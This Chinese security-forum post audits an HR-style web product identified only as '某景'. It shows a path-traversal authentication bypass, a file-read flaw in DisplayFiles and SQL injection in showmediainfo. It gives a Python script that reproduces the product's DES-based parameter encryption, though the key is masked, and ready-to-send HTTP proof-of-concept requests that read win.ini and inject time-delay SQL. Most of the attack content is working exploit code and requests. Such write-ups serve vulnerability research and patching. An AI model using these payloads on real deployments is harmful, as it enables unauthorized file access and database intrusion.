问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
记某景的一次代码审计
漏洞分析
过滤器查找+漏洞审计+加解密算法破解
0x00 前言 ------- 我只能说,某景漏洞多的一。。。。。。 今天,就捡两个公开过的漏洞进行下审计吧 0x01 过滤器查找 ---------- 有经验的师傅都知道,此系统很多接口是做了鉴权的,并不能未授权访问。但是,有的接口加白了,可以通过加白接口进行路径穿越绕过鉴权。 废话不多说,开始正题。一般过滤器都会在web.xml里找到对应的接口与类名,搜索单词filter,定位到HireKeywordFilter类 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-e915435870da16d89fbf343cabfde91811606bb9.png) 查看代码,`var3.doFilter(var1, var2);`这行代码是调用FilterChain对象的`doFilter`方法,将ServletRequest对象和ServletResponse对象传递给下一个过滤器或Servlet进行处理。在Servlet过滤器中,通过调用`FilterChain`的`doFilter`方法,可以将请求传递给过滤器链中的下一个过滤器,或者如果没有下一个过滤器了,则传递给Servlet进行处理。 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-0143d4032168a6f34aa3bf9c8a1988d34c598a23.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-f19e2b457b2159bf53acc44ae2c0447817615c95.png) 在这个例子中,若var6也就是uri是以/w\_selfservice/oauthservlet开头的,即执行`var3.doFilter(var1, var2);`。那么当我访问其他接口。则使用/w\_selfservice/oauthservlet../../即可绕过鉴权 0x02 漏洞审计 --------- 在此,以最近爆出的DisplayFiles文件读取和showmediainfo注入为例开始审计。 ### DisplayFiles文件读取 web.xml搜索DisplayFiles,定位到代码: ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-1fe101217d961ee175fd4c85ddd105967aa1278e.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-e08543345f63e80e0b0705e19c55ccb27caeeafa.png) 可见从前端接受参数filepath,赋值给var3变量,var3经过SafeCode.decode方法,PubFunc.decrypt方法后,得到明文,根据方法名就可以初步猜测是解码和解密操作。后续就很简单了,var3传入File类,赋值给var4,开始获取文件的字节流并输出到响应里面 ### showmediainfo注入 web.xml搜索showmediainfo,定位到代码: ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-2f400f9b8a2632f0252219ea3d9545775eeabc01.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-35a615af34a2338ebb7b88db52e34c07f1c06bd9.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-e3dd68b1c85cf9cb95c3d6d926117aa51a74c819.png) 前端接受usernumber、i9999、kind三个参数,分别赋值给var3、var4、var5三个变量。而后续逻辑明显可以看到sql语句的拼接,也就是注入点。发现var3和var4可注入,而var5是作为if的判断值。var3参数也经过 PubFunc.decrypt的解密。因此这个接口的注入,var4是比较简单的,var3需要经过解密操作。 0x03 加解密破解 ---------- 由上方的漏洞审计可知,两个漏洞参数都需要进行解密操作,意味着前端传入的参数值是一个密文。跟进解密方法查看代码。刚好看到加密方法也在上方。 ```js public static String encrypt(String var0) { if (null \== var0) { return ""; } else { String var1 = SafeCode.encrypt(var0); var1 = var1.replaceAll("%", "@2HJ5@"); var1 = var1.replaceAll("\\\\+", "@2HJB@"); var1 = var1.replaceAll(" ", "@2HJ0@"); var1 = var1.replaceAll("\\\\/", "@2HJF@"); var1 = var1.replaceAll("\\\\?", "@3HJF@"); var1 = var1.replaceAll("#", "@2HJ3@"); var1 = var1.replaceAll("&", "@2HJ6@"); var1 = var1.replaceAll("=", "@3HJD@"); var1 = var1.replaceAll("\\r\\n", "").replaceAll("\\n", "").replaceAll("\\r", ""); var1 = var1.replaceAll("@", "PAATTP"); return var1; } } public static String decrypt(String var0) { if (null \== var0) { return ""; } else { var0 = var0.replaceAll("PAATTP", "@"); var0 = var0.replaceAll("@2HJ5@", "%"); var0 = var0.replaceAll("@2HJB@", "\\\\+"); var0 = var0.replaceAll("@2HJ0@", " "); var0 = var0.replaceAll("@2HJF@", "\\\\/"); var0 = var0.replaceAll("@3HJF@", "\\\\?"); var0 = var0.replaceAll("@2HJ3@", "#"); var0 = var0.replaceAll("@2HJ6@", "&"); var0 = var0.replaceAll("@3HJD@", "="); String var1 = SafeCode.decrypt(var0); return var1; } } ``` 先看加密方法,首先var0参数传入到SafeCode.encrypt方法进行加密,跟进此方法,可以看到使用的是des加解密函数,为对称加密算法,意味着只要有加密密钥,即可正向加密,也可逆向解密。而加密密钥即为下图马赛克的值(这属于厂商敏感信息,不明文展示了): ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-9e6493ffe0ae96dbfb0629d9677e8bc38fe92fc1.png) 搞懂了加解密算法实际为des加解密,然后再回到PubFunc.encrypt方法,可知进行了des加密后,又要把密文的%,+,/等字符(具体看上方代码)进行一个替换,得到最终的密文。而同样的,查看PubFunc.decrypt方法代码,可得是加密的逆向操作,先对密文进行字符串替换,得到des的密文,再进行des解密。使用此逻辑写python加解密脚本,如下: ```js from Crypto.Cipher import DES from Crypto.Util.Padding import pad, unpad from base64 import b64encode, b64decode def encrypt(key, data): key = key.encode('utf-8') data = data.encode('utf-8') iv = b'\x01\x02\x03\x04\x05\x06\x07\x08' # 初始化向量 cipher = DES.new(key, DES.MODE_CBC, iv) ct_bytes = cipher.encrypt(pad(data, DES.block_size)) var1=b64encode(ct_bytes).decode('utf-8') var1 = var1.replace("%", "@2HJ5@"); var1 = var1.replace("+", "@2HJB@"); var1 = var1.replace(" ", "@2HJ0@"); var1 = var1.replace("/", "@2HJF@"); var1 = var1.replace("?", "@3HJF@"); var1 = var1.replace("#", "@2HJ3@"); var1 = var1.replace("&", "@2HJ6@"); var1 = var1.replace("=", "@3HJD@"); var1 = var1.replace("\r\n", "").replace("\n", "").replace("\r", ""); var1 = var1.replace("@", "PAATTP"); return var1 def decrypt(key, encrypted_data): key = key.encode('utf-8') encrypted_data = encrypted_data.replace("PAATTP", "@"); encrypted_data = encrypted_data.replace("@2HJ5@", "%"); encrypted_data = encrypted_data.replace("@2HJB@", "+"); encrypted_data = encrypted_data.replace("@2HJ0@", " "); encrypted_data = encrypted_data.replace("@2HJF@", "/"); encrypted_data = encrypted_data.replace("@3HJF@", "?"); encrypted_data = encrypted_data.replace("@2HJ3@", "#"); encrypted_data = encrypted_data.replace("@2HJ6@", "&"); encrypted_data = encrypted_data.replace("@3HJD@", "="); encrypted_data = b64decode(encrypted_data) iv = b'\x01\x02\x03\x04\x05\x06\x07\x08' # 初始化向量 cipher = DES.new(key, DES.MODE_CBC, iv) pt_bytes = unpad(cipher.decrypt(encrypted_data), DES.block_size) return pt_bytes.decode('utf-8') if __name__ == "__main__": key = "xxxxx" data = "1' if db_name(1)='master' waitfor delay '0:0:6'--+" encrypted_data = encrypt(key, data) print("Encrypted:", encrypted_data) encrypted_data='0JALorlQogBNgRuaXkp7QCus5DXQ1K1RU60C2QunGQUgKkcXUh9HXukA75IwTpCaGcqFlluMQLvPAATTP2HJFPAATTPgvSl8mZXxPAATTP2HJFPAATTPe2LWnL7Rg2Ceg0zzONMioPAATTP3HJDPAATTP' decrypted_data = decrypt(key, encrypted_data) print("Decrypted:", decrypted_data) ``` 运行示意图: ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-fd3b416574241658b2f9458ac5a580688d9fdb65.png) 0x04 最终poc ---------- ### DisplayFiles文件读取 读取c:/windows/win.ini,先加密路径: ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-a496edaf8715946f564d1552c9d7f407a6440e72.png) 发送poc: ```js POST /templates/attestation/../../servlet/DisplayFiles HTTP/1.1 Host: User-Agent:Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 Content-Type: application/x-www-form-urlencoded Content-Length: 41 filepath=Iy4ZOyMhERdhPLlFrJHBaRdJo53c25S1 ``` ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-56b1a41de0820e9fbe0167dacf540530fded3a64.png) ### showmediainfo注入 先是简单的i9999参数注入,不走if (var5.equalsIgnoreCase("0")),即令kind=1,为字符型注入。payload:' waitfor delay '0:0:6'--+ poc: ```js POST /templates/attestation/../../workbench/duty/showmediainfo HTTP/1.1 Host: User-Agent:Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 Content-Type: application/x-www-form-urlencoded Content-Length: 53 kind=1&usernumber=&i9999=12' waitfor delay '0:0:6'--+ ``` ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-ac65fc6a0c274206a7698fd34037a73156fdee6b.png) 然后是usernumber注入,需要进入if (var5.equalsIgnoreCase("0")),即令kind=0,还需要加密payload: ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-07258504fd16cb20b313fbef6b2a43cf63d24c28.png) poc: ```js POST /templates/attestation/../../workbench/duty/showmediainfo HTTP/1.1 Host: 127.0.0.1:8080 User-Agent:Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 Content-Type: application/x-www-form-urlencoded Content-Length: 84 kind=0&usernumber=i8hoHAILh4YkvJtIAayRbk4pSpIEAvWmx22WPMFig6wPAATTP3HJDPAATTP&i9999= ``` ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-113a088edec7b7e118bbbabcc5f0ba5fce29a401.png)
发表于 2024-04-30 09:00:02
阅读 ( 5558 )
分类:
代码审计
3 推荐
收藏
0 条评论
请先
登录
后评论
dddtest
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!